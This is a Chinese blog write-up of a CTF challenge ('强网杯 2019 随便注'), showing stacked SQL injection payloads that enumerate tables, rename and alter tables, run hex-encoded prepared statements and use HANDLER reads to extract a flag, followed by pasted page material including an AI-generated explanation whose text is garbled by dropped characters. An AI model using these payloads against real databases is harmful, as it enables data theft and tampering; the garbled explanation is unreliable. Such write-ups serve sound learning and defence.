BUUCTF[强网杯 2019]随便注 的三种解法

本文深入探讨SQL注入的多种攻击手法,包括初步判断、字段数测试、union注入、堆叠注入等,以及如何利用show、alter命令和SQL约束进行数据表操作,通过具体案例解析不同解题思路。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


打开后题目是这样的:

尝试注入:


1,测试 1' or 1=1 # ,初步判定存在SQL注入。
1' or 1=1 #

在这里插入图片描述



再测试字段数,到3时报错,说明字段数为2.

1' order by 1 # 

在这里插入图片描述



接着尝试union注入,回显了过滤的关键字。

1' union select 1,2#

在这里插入图片描述



然后就是今天学会的新姿势“堆叠注入”了。
原理很简单,就是通过 ; 号注入多条SQL语句。

先通过show databases爆出数据库。

0'; show databases; #

在这里插入图片描述
然后用 show tables 尝试爆表。

0'; show tables; #

在这里插入图片描述
可以看到这里有两个表,我们先尝试爆words表的内容。

1'; show columns from words; #

在这里插入图片描述
然后报表 1919810931114514 的内容。

这里学到一个新知识点,表名为数字时,要用反引号包起来查询。

0'; show columns from `1919810931114514 `; #

在这里插入图片描述

可以发现爆出来了flag字段,然而我对于flag毫无办法,只能看看别人写的writeup了,膜拜大佬。


解题思路1:

借鉴 : 强网杯2019随便注

1,通过 rename 先把 words 表改名为其他的表名。

2,把 1919810931114514 表的名字改为 words 。

3 ,给新 words 表添加新的列名 id 。

4,将 flag 改名为 data 。

1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#

在这里插入图片描述


解题思路2:

借鉴buuoj强网杯2019随便注

因为select被过滤了,所以先将select * from ` 1919810931114514 `进行16进制编码

再通过构造payload得

;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

进而得到flag

  • prepare…from…是预处理语句,会进行编码转换。
  • execute用来执行由SQLPrepare创建的SQL语句。
  • SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
    在这里插入图片描述

解题思路3:

寒假之后打了打i春秋的比赛,里面的一道web题black_list简直就是这道题的进化版,当时实在做不出来。。。还是太菜了

比赛后复现用的payload:

1'; handler `FlagHere` open as `a`; handler `a` read next;#

后来在buu上做时发现了payload2,貌似要复杂一点:

1';HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST; HANDLER FlagHere CLOSE;#

在这里插入图片描述
这个方法同样适用于这道题,payload:

1'; handler `1919810931114514` open as `a`; handler `a` read next;#

在这里插入图片描述


知识点总结:

先总结这道题学会的新知识 alter ,show 和 SQL约束 。

show

在过滤了 select 和 where 的情况下,还可以使用 show 来爆出数据库名,表名,和列名。

show datebases; //数据库。
show tables; //表名。
show columns from table; //字段。
alter

作用:修改已知表的列。( 添加:add | 修改:alter,change | 撤销:drop )

用法:

  • 添加一个列
alter table " table_name" add " column_name"  type;
  • 删除一个列
alter table " table_name" drop " column_name"  type;
  • 改变列的数据类型
alter table " table_name" alter column " column_name" type;
  • 改列名
alter table " table_name" change " column1" " column2" type;
alter table "table_name" rename "column1" to "column2";

SQL约束 (规定表中数据的规则)

  • not null- 指示某列不能存储 NULL 值。
alter table persons modify age int not null;//设置 not null 约束 。
alter table person modify age int null;//取消 null 约束。
  • primary key - NOT NULL 和 UNIQUE 的结合。指定主键,确保某列(或多个列的结合)有唯一标识,每个表有且只有一个主键。
alter table persons add age primary key (id)
  • unique -保证某列的每行必须有唯一的值。(注:可以有多个 UNIQUE 约束,只能有一个 PRIMARY KEY 约束。 )
alter table person add unique (id);//增加unique约束。
  • check-限制列中值的范围。
alter table person add check (id>0);
  • default-规定没有给列赋值时的默认值。
alter table person alter city set default 'chengdu' ;//mysql
alter table person add constraint ab_c default 'chengdu' for city;//SQL Server / MS Access
  • auto_increment-自动赋值,默认从1开始。

  • foreign key-保证一个表中的数据匹配另一个表中的值的参照完整性。

<think>好的,用户现在问的是强网2019的“随便”这道题应该怎么解。首先,我需要回忆一下这道题的具体情况。强网的题目通常设计得比较巧妙,可能涉及SQL入的各种绕过技巧。根据名字“随便”可能暗示题目与SQL入有关,而“随便1”可能是一个基础或进阶的题目。 用户之前询问过回显过滤后的堆叠入方法,而这道题可能应用了类似的技巧。需要先确定题目的环境,比如是MySQL、PostgreSQL还是其他数据库。通常,比赛中常见的可能是MySQL,但需要验证。 接下来,用户可能需要解题步骤的详细说明,包括如何判断入点,如何绕过过滤,以及如何最终获取flag。可能存在的过滤包括对select、update、delete等关键字的过滤,或者对某些函数的限制,比如information_schema被过滤,导致无法直接查表。 根据之前的回答,堆叠入可能在允许执行多条语句的情况下有效,但需要结合其他方法如时间盲或修改数据。例如,如果题目过滤了select,可能需要使用预编译语句或者修改表名来绕过。 另外,题目可能使用了MySQL的存储过程或者预处理语句来绕过关键字过滤。例如,使用char()函数编码字符串,或者利用hex编码来绕过过滤。 还需要考虑是否有堆叠入的可能性,比如使用分号执行多条语句,然后通过创建新表或者修改现有表结构来获取数据。例如,如果原始的查询是select,那么入后可以执行alter table或者rename table来改变表结构,从而让后续的查询泄露数据。 另外,可能需要利用MySQL的handler语句来读取数据,因为handler不需要使用select关键字,可能绕过过滤。 还需要意是否有过滤了空格或某些字符,需要使用释符/**/或者括号来绕过。 可能还需要利用information_schema被过滤后的替代方法,比如使用sys.schema_auto_increment_columns或其他系统表来获取表名和列名。 此外,题目可能存在二次入的可能性,或者需要结合报错入来获取信息,但若回显被过滤,可能需要时间盲或外带数据。 假设题目中的过滤规则是过滤了select、update、drop等关键字,那么堆叠入结合预处理语句可能有效。例如,使用set和prepare来构造语句,然后执行。 例如,构造如下的入语句: ';set @sql=concat('s','elect * from `1919810931114514`');prepare stmt from @sql;execute stmt;# 这里将select拆分成concat('s','elect')来绕过关键字过滤,然后预处理并执行。 但可能题目中的过滤机制是否拦截了concat或prepare等关键字也需要考虑。如果prepare被过滤,可能需要其他方法。 另一种方法是使用handler语句,例如: ';handler `1919810931114514` open as a;handler a read first;# 这样可以直接读取表中的数据,而不需要使用select语句。 此外,如果题目中存在多个表,可能需要先通过show tables来获取表名,然后通过desc或show columns来获取列名。但如果select被过滤,可能需要其他方式。 如果题目中的过滤允许使用rename或alter,可以将原来的数据表重命名,然后创建一个同名的表,将数据插入到新表中,再通过正常的查询来获取数据。例如: ';rename table `words` to `temp`;rename table `1919810931114514` to `words`;alter table `words` add column `flag` varchar(100);# 然后访问页面,原本的查询可能从words表中读取数据,此时words表已经被替换为原来的flag表,从而直接显示flag。 这种方法的关键在于利用堆叠入修改表结构,使得后续的查询直接返回flag的内容。 需要确保题目中的MySQL用户有权限执行rename和alter操作,这在比赛中通常是允许的。 此外,可能需要意反引号的使用,避免表名中的数字被解析为数值,所以需要用反引号包裹表名。 总结解题步骤可能如下: 1. 判断入点,确认是否存在堆叠入的可能。 2. 绕过关键字过滤,使用show databases和show tables获取表名。 3. 发现存在两个表:words和1919810931114514。 4. 确认flag在1919810931114514表中,但无法直接查询。 5. 使用堆叠入修改表结构,将flag表重命名为words,并添加列以适应原有查询的结构。 6. 触发原有查询,直接返回flag。 需要验证每一步的可行性,以及绕过过滤的具体方法。例如,如果show被过滤,可能需要其他方式获取表信息。但通常show可能未被过滤,因为属于基础操作。 另外,可能需要使用十六进制或char编码绕过对特定关键字的过滤,例如将select转换为char(115,101,108,101,99,116)等形式。 但根据常见的解法强网2019随便这道题的解法通常是通过堆叠入结合表重命名和修改结构来实现的,而不需要复杂的编码绕过,因为过滤可能主要集中在select等关键字上,而允许alter和rename等操作。 因此,解题思路主要是利用堆叠入执行多条SQL语句,修改表结构,使得原本的查询能够访问到flag表中的数据。</think>--- **强网2019 "随便1" 解题思路详解** 这道题考察 **堆叠入(Stacked Queries)** 和 **巧妙的表结构修改** 绕过过滤的技巧。以下是完整的解题步骤: --- ### **1. 题目环境分析** - **目标**:通过SQL入获取flag。 - **已知条件**: - 输入参数存在SQL入漏洞。 - 后端使用MySQL数据库,且过滤了`select`、`update`、`drop`等关键字。 - 存在两个表:`words`(默认查询的表)和 `1919810931114514`(存储flag的表)。 --- ### **2. 探测入点与堆叠入** **步骤1:确认入类型** 通过输入 `1'` 触发报错,确认存在字符型入,且可能存在堆叠入。 **Payload**: ```sql 1'; show databases; -- ``` 若返回数据库列表,则堆叠入可行。 **步骤2:获取表名** 入 `show tables` 查看所有表: ```sql 1'; show tables; -- ``` 返回结果包含 `words` 和 `1919810931114514`,后者可能是flag表。 **步骤3:获取表结构** 由于`select`被过滤,无法直接查字段,但可通过以下方法推断: - `words` 表结构:默认查询返回 `id` 和 `data` 字段。 - `1919810931114514` 表结构:假设含 `flag` 字段。 --- ### **3. 绕过过滤的核心思路** 由于直接查询`1919810931114514`表被`select`过滤,需通过 **修改表名和结构**,使程序原本对`words`表的查询实际访问`1919810931114514`表。 --- ### **4. 详细攻击步骤** **步骤1:重命名原表** 将默认查询的 `words` 表重命名为临时表: ```sql 1'; rename table `words` to `temp`; -- ``` **步骤2:将flag表重命名为words** 将 `1919810931114514` 表重命名为 `words`: ```sql 1'; rename table `1919810931114514` to `words`; -- ``` **步骤3:修改新表结构** 原程序查询 `words` 表时,默认查询 `id` 和 `data` 字段。需为新的 `words` 表添加 `id` 字段: ```sql 1'; alter table `words` add `id` int(10) unsigned NOT NULL AUTO_INCREMENT; -- ``` **步骤4:触发查询** 提交 `1' or 1=1; -- `,程序执行默认查询: ```sql select id, data from words where id = '1' or 1=1; ``` 此时实际查询的是原 `1919810931114514` 表的内容,flag会被返回。 --- ### **5. 简化Payload(一步到位)** 直接通过堆叠入完成所有操作: ```sql 1'; rename table `words` to `temp`; rename table `1919810931114514` to `words`; alter table `words` add `id` int(10) unsigned NOT NULL AUTO_INCREMENT; -- ``` 提交后,访问页面即可直接显示flag。 --- ### **6. 关键绕过技巧** - **堆叠入**:利用分号执行多条SQL语句。 - **表名重命名**:绕过对`select`的过滤,直接修改程序查询的目标表。 - **字段适配**:通过`alter table`添加与原表结构匹配的字段,确保程序正常执行查询。 --- ### **7. 防御建议** - **禁用堆叠查询**:配置数据库仅允许单条语句执行。 - **严格过滤输入**:使用预编译语句(Prepared Statements)而非拼接SQL。 - **最小化权限**:数据库账户禁止执行`rename`、`alter`等高风险操作。 --- ### **总结** 通过堆叠入修改表名和结构,将包含flag的表伪装成程序默认查询的表,从而绕过对`select`的过滤。此方法巧妙利用了MySQL的DDL(数据定义语言)特性,是CTF中常见的“结构绕过”思路。
评论 15
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值